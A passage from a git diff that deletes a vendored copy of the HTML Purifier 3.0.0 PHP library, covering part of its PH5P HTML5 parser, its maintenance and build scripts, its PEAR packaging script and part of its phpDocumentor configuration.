node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags(array $exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($name) { - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() { - return $this->dom; - } -} -?> diff --git a/lib/htmlpurifier-3.0.0/maintenance/common.php b/lib/htmlpurifier-3.0.0/maintenance/common.php deleted file mode 100644 index af59baf..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/common.php +++ /dev/null @@ -1,141 +0,0 @@ -<?php - -function assertCli() { - if (php_sapi_name() != 'cli' && !getenv('PHP_IS_CLI')) { - echo 'Script cannot be called from web-browser (if you are calling via cli, -set environment variable PHP_IS_CLI to work around this).'; - exit; - } -} - -/** - * Filesystem tools not provided by default; can recursively create, copy - * and delete folders. Some template methods are provided for extensibility. - * @note This class must be instantiated to be used, although it does - * not maintain state. - */ -class FSTools -{ - - /** - * Recursively creates a directory - * @param string $folder Name of folder to create - * @note Adapted from the PHP manual comment 76612 - */ - function mkdir($folder) { - $folders = preg_split("#[\\\\/]#", $folder); - $base = ''; - for($i = 0, $c = count($folders); $i < $c; $i++) { - if(empty($folders[$i])) { - if (!$i) { - // special case for root level - $base .= DIRECTORY_SEPARATOR; - } - continue; - } - $base .= $folders[$i]; - if(!is_dir($base)){ - mkdir($base); - } - $base .= DIRECTORY_SEPARATOR; - } - } - - /** - * Copy a file, or recursively copy a folder and its contents; modified - * so that copied files, if PHP, have includes removed - * - * @author Aidan Lister <aidan@php.net> - * @version 1.0.1-modified - * @link http://aidanlister.com/repos/v/function.copyr.php - * @param string $source Source path - * @param string $dest Destination path - * @return bool Returns TRUE on success, FALSE on failure - */ - function copyr($source, $dest) { - // Simple copy for a file - if (is_file($source)) { - return $this->copy($source, $dest); - } - // Make destination directory - if (!is_dir($dest)) { - mkdir($dest); - } - // Loop through the folder - $dir = dir($source); - while (false !== $entry = $dir->read()) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - if (!$this->copyable($entry)) { - continue; - } - // Deep copy directories - if ($dest !== "$source/$entry") { - $this->copyr("$source/$entry", "$dest/$entry"); - } - } - // Clean up - $dir->close(); - return true; - } - - /** - * Stub for PHP's built-in copy function, can be used to overload - * functionality - */ - function copy($source, $dest) { - return copy($source, $dest); - } - - /** - * Overloadable function that tests a filename for copyability. By - * default, everything should be copied; you can restrict things to - * ignore hidden files, unreadable files, etc. - */ - function copyable($file) { - return true; - } - - /** - * Delete a file, or a folder and its contents - * - * @author Aidan Lister <aidan@php.net> - * @version 1.0.3 - * @link http://aidanlister.com/repos/v/function.rmdirr.php - * @param string $dirname Directory to delete - * @return bool Returns TRUE on success, FALSE on failure - */ - function rmdirr($dirname) - { - // Sanity check - if (!file_exists($dirname)) { - return false; - } - - // Simple delete for a file - if (is_file($dirname) || is_link($dirname)) { - return unlink($dirname); - } - - // Loop through the folder - $dir = dir($dirname); - while (false !== $entry = $dir->read()) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - // Recurse - $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry); - } - - // Clean up - $dir->close(); - return rmdir($dirname); - } - - -} - - diff --git a/lib/htmlpurifier-3.0.0/maintenance/flush-definition-cache.php b/lib/htmlpurifier-3.0.0/maintenance/flush-definition-cache.php deleted file mode 100755 index 2203762..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/flush-definition-cache.php +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/php -<?php - -chdir(dirname(__FILE__)); -require_once 'common.php'; -assertCli(); - -/** - * Flushes the default HTMLDefinition serial cache - * @param Accepts one argument, cache type to flush; otherwise flushes all - * the caches. - */ - -echo "Flushing cache... \n"; - -require_once(dirname(__FILE__) . '/../library/HTMLPurifier.auto.php'); - -$config = HTMLPurifier_Config::createDefault(); - -$names = array('HTML', 'CSS', 'URI', 'Test'); -if (isset($argv[1])) { - if (in_array($argv[1], $names)) { - $names = array($argv[1]); - } else { - echo "Did not recognized cache parameter {$argv[1]} as valid cache, aborting.\n"; - exit; - } -} - -foreach ($names as $name) { - echo " - Flushing $name\n"; - $cache = new HTMLPurifier_DefinitionCache_Serializer($name); - $cache->flush($config); -} - -echo "Cache flushed successfully.\n"; - diff --git a/lib/htmlpurifier-3.0.0/maintenance/generate-entity-file.php b/lib/htmlpurifier-3.0.0/maintenance/generate-entity-file.php deleted file mode 100755 index 93d2108..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/generate-entity-file.php +++ /dev/null @@ -1,72 +0,0 @@ -#!/usr/bin/php -<?php - -chdir(dirname(__FILE__)); -require_once 'common.php'; -assertCli(); - -/** - * Parses *.ent files into an entity lookup table, and then serializes and - * writes the whole kaboodle to a file. The resulting file should be versioned. - */ - -chdir( dirname(__FILE__) ); - -// here's where the entity files are located, assuming working directory -// is the same as the location of this PHP file. Needs trailing slash. -$entity_dir = '../docs/entities/'; - -// defines the output file for the serialized content. -$output_file = '../library/HTMLPurifier/EntityLookup/entities.ser'; - -// courtesy of a PHP manual comment -function unichr($dec) { - if ($dec < 128) { - $utf = chr($dec); - } else if ($dec < 2048) { - $utf = chr(192 + (($dec - ($dec % 64)) / 64)); - $utf .= chr(128 + ($dec % 64)); - } else { - $utf = chr(224 + (($dec - ($dec % 4096)) / 4096)); - $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64)); - $utf .= chr(128 + ($dec % 64)); - } - return $utf; -} - -if ( !is_dir($entity_dir) ) exit("Fatal Error: Can't find entity directory.\n"); -if ( file_exists($output_file) ) exit("Fatal Error: entity-lookup.txt already exists.\n"); - -$dh = @opendir($entity_dir); -if ( !$dh ) exit("Fatal Error: Cannot read entity directory.\n"); - -$entity_files = array(); -while (($file = readdir($dh)) !== false) { - if (@$file[0] === '.') continue; - if (substr(strrchr($file, "."), 1) !== 'ent') continue; - $entity_files[] = $file; -} -closedir($dh); - -if ( !$entity_files ) exit("Fatal Error: No entity files to parse.\n"); - -$entity_table = array(); -$regexp = '/<!ENTITY\s+([A-Za-z]+)\s+"&#(?:38;#)?([0-9]+);">/'; - -foreach ( $entity_files as $file ) { - $contents = file_get_contents($entity_dir . $file); - $matches = array(); - preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); - foreach ($matches as $match) { - $entity_table[$match[1]] = unichr($match[2]); - } -} - -$output = serialize($entity_table); - -$fh = fopen($output_file, 'w'); -fwrite($fh, $output); -fclose($fh); - -echo "Completed successfully."; - diff --git a/lib/htmlpurifier-3.0.0/maintenance/generate-ph5p-patch.php b/lib/htmlpurifier-3.0.0/maintenance/generate-ph5p-patch.php deleted file mode 100644 index ecd9fa3..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/generate-ph5p-patch.php +++ /dev/null @@ -1,13 +0,0 @@ -<?php - -$orig = realpath(dirname(__FILE__) . '/PH5P.php'); -$new = realpath(dirname(__FILE__) . '/../library/HTMLPurifier/Lexer/PH5P.php'); -$newt = dirname(__FILE__) . '/PH5P.new.php'; // temporary file - -// minor text-processing of new file to get into same format as original -$new_src = file_get_contents($new); -$new_src = '<?php' . PHP_EOL . substr($new_src, strpos($new_src, 'class HTML5 {')); - -file_put_contents($newt, $new_src); -shell_exec("diff -u \"$orig\" \"$newt\" > PH5P.patch"); -unlink($newt); diff --git a/lib/htmlpurifier-3.0.0/maintenance/merge-library.php b/lib/htmlpurifier-3.0.0/maintenance/merge-library.php deleted file mode 100755 index d8112e6..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/merge-library.php +++ /dev/null @@ -1,163 +0,0 @@ -#!/usr/bin/php -<?php - -chdir(dirname(__FILE__)); -require_once 'common.php'; -assertCli(); - -/** - * Compiles all of HTML Purifier's library files into one big file - * named HTMLPurifier.standalone.php. - */ - -/** - * Global hash that tracks already loaded includes - */ -$GLOBALS['loaded'] = array('HTMLPurifier.php' => true); - -/** - * Custom FSTools for this script that overloads some behavior - * @warning The overloading of copy() is not necessarily global for - * this script. Watch out! - */ -class MergeLibraryFSTools extends FSTools -{ - function copyable($entry) { - // Skip hidden files - if ($entry[0] == '.') { - return false; - } - return true; - } - function copy($source, $dest) { - copy_and_remove_includes($source, $dest); - } -} -$FS = new MergeLibraryFSTools(); - -/** - * Replaces the includes inside PHP source code with the corresponding - * source. - * @param string $text PHP source code to replace includes from - */ -function replace_includes($text) { - return preg_replace_callback( - "/require_once ['\"]([^'\"]+)['\"];/", - 'replace_includes_callback', - $text - ); -} - -/** - * Removes leading PHP tags from included files. Assumes that there is - * no trailing tag. - * @note This is safe for files that have internal <?php - * @param string $text Text to have leading PHP tag from - */ -function remove_php_tags($text) { - return substr($text, 5); -} - -/** - * Creates an appropriate blank file, recursively generating directories - * if necessary - * @param string $file Filename to create blank for - */ -function create_blank($file) { - global $FS; - $dir = dirname($file); - $base = realpath('../tests/blanks/') . DIRECTORY_SEPARATOR ; - if ($dir != '.') { - $FS->mkdir($base . $dir); - } - file_put_contents($base . $file, ''); -} - -/** - * Copies the contents of a directory to the standalone directory - * @param string $dir Directory to copy - */ -function make_dir_standalone($dir) { - global $FS; - return $FS->copyr($dir, 'standalone/' . $dir); -} - -/** - * Copies the contents of a file to the standalone directory - * @param string $file File to copy - */ -function make_file_standalone($file) { - global $FS; - $FS->mkdir('standalone/' . dirname($file)); - copy_and_remove_includes($file, 'standalone/' . $file); - return true; -} - -/** - * Copies a file to another location recursively, if it is a PHP file - * remove includes - * @param string $file Original file - * @param string $sfile New location of file - */ -function copy_and_remove_includes($file, $sfile) { - $contents = file_get_contents($file); - if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); - return file_put_contents($sfile, $contents); -} - -/** - * @param $matches preg_replace_callback matches array, where index 1 - * is the filename to include - */ -function replace_includes_callback($matches) { - $file = $matches[1]; - $preserve = array( - // PHP 5 only - 'HTMLPurifier/Lexer/DOMLex.php' => 1, - 'HTMLPurifier/Printer.php' => 1, - // PEAR (external) - 'XML/HTMLSax3.php' => 1 - ); - if (isset($preserve[$file])) { - return $matches[0]; - } - if (isset($GLOBALS['loaded'][$file])) return ''; - $GLOBALS['loaded'][$file] = true; - create_blank($file); - return replace_includes(remove_php_tags(file_get_contents($file))); -} - -chdir(dirname(__FILE__) . '/../library/'); -create_blank('HTMLPurifier.php'); - -echo 'Creating full file...'; -$contents = replace_includes(file_get_contents('HTMLPurifier.php')); -$contents = str_replace( - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__));", - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); -set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", - $contents -); -file_put_contents('HTMLPurifier.standalone.php', $contents); -echo ' done!' . PHP_EOL; - -echo 'Creating standalone directory...'; -$FS->rmdirr('standalone'); // ensure a clean copy - -// data files -$FS->mkdir('standalone/HTMLPurifier/DefinitionCache/Serializer'); -make_dir_standalone('HTMLPurifier/EntityLookup'); - -// non-standard inclusion setup -make_dir_standalone('HTMLPurifier/Language'); - -// optional components -make_file_standalone('HTMLPurifier/Printer.php'); -make_dir_standalone('HTMLPurifier/Printer'); -make_dir_standalone('HTMLPurifier/Filter'); -make_file_standalone('HTMLPurifier/Lexer/PEARSax3.php'); - -// PHP 5 only files -make_file_standalone('HTMLPurifier/Lexer/DOMLex.php'); -make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); -echo ' done!' . PHP_EOL; diff --git a/lib/htmlpurifier-3.0.0/package.php b/lib/htmlpurifier-3.0.0/package.php deleted file mode 100644 index 580038f..0000000 --- a/lib/htmlpurifier-3.0.0/package.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -set_time_limit(0); - -require_once 'PEAR/PackageFileManager2.php'; -PEAR::setErrorHandling(PEAR_ERROR_PRINT); -$pkg = new PEAR_PackageFileManager2; - -$pkg->setOptions( - array( - 'baseinstalldir' => '/', - 'packagefile' => 'package2.xml', - 'packagedirectory' => realpath(dirname(__FILE__) . '/library'), - 'filelistgenerator' => 'file', - 'include' => array('*'), - 'dir_roles' => array('/' => 'php'), // hack to put .ser in the right place - 'ignore' => array('HTMLPurifier.auto.php', 'HTMLPurifier.standalone.php', 'standalone/'), - ) -); - -$pkg->setPackage('HTMLPurifier3'); -$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html'); -$pkg->setSummary('Standards-compliant HTML filter'); -$pkg->setDescription( - 'HTML Purifier is an HTML filter that will remove all malicious code - (better known as XSS) with a thoroughly audited, secure yet permissive - whitelist and will also make sure your documents are standards - compliant.' -); - -$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes'); - -$version = file_get_contents('VERSION'); -$api_version = substr($version, 0, strrpos($version, '.')); - -$pkg->setChannel('htmlpurifier.org'); -$pkg->setAPIVersion($api_version); -$pkg->setAPIStability('stable'); -$pkg->setReleaseVersion($version); -$pkg->setReleaseStability('stable'); - -$pkg->addRelease(); - -$pkg->setNotes(file_get_contents('WHATSNEW')); -$pkg->setPackageType('php'); - -$pkg->setPhpDep('5.0.0'); -$pkg->setPearinstallerDep('1.4.3'); - -$pkg->generateContents(); - -$compat =& $pkg->exportCompatiblePackageFile1(); -$compat->writePackageFile(); -$pkg->writePackageFile(); - diff --git a/lib/htmlpurifier-3.0.0/phpdoc.ini b/lib/htmlpurifier-3.0.0/phpdoc.ini deleted file mode 100644 index bf4eb2a..0000000 --- a/lib/htmlpurifier-3.0.0/phpdoc.ini +++ /dev/null @@ -1,100 +0,0 @@ -;; phpDocumentor parse configuration file -;; -;; This file is designed to cut down on repetitive typing on the command-line or web interface -;; You can copy this file to create a number of configuration files that can be used with the -;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web -;; interface will automatically generate a list of .ini files that can be used. -;; -;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs -;; -;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini -;; -;; Copyright 2002, Greg Beaver <cellog@users.sourceforge.net> -;; -;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them - -[Parse Data] -;; title of all the documentation -;; legal values: any string -title = HTML Purifier API Documentation - -;; parse files that start with a . like .bash_profile -;; legal values: true, false -hidden = false - -;; show elements marked @access private in documentation by setting this to on -;; legal values: on, off -parseprivate = off - -;; parse with javadoc-like description (first sentence is always the short description) -;; legal values: on, off -javadocdesc = on - -;; add any custom @tags separated by commas here -;; legal values: any legal tagname separated by commas. -;customtags = mytag1,mytag2 - -;; This is only used by the XML:DocBook/peardoc2 converter -defaultcategoryname = Documentation - -;; what is the main package? -;; legal values: alphanumeric string plus - and _ -defaultpackagename = HTMLPurifier - -;; output any parsing information? set to on for cron jobs -;; legal values: on -;quiet = on - -;; parse a PEAR-style repository. Do not turn this on if your project does 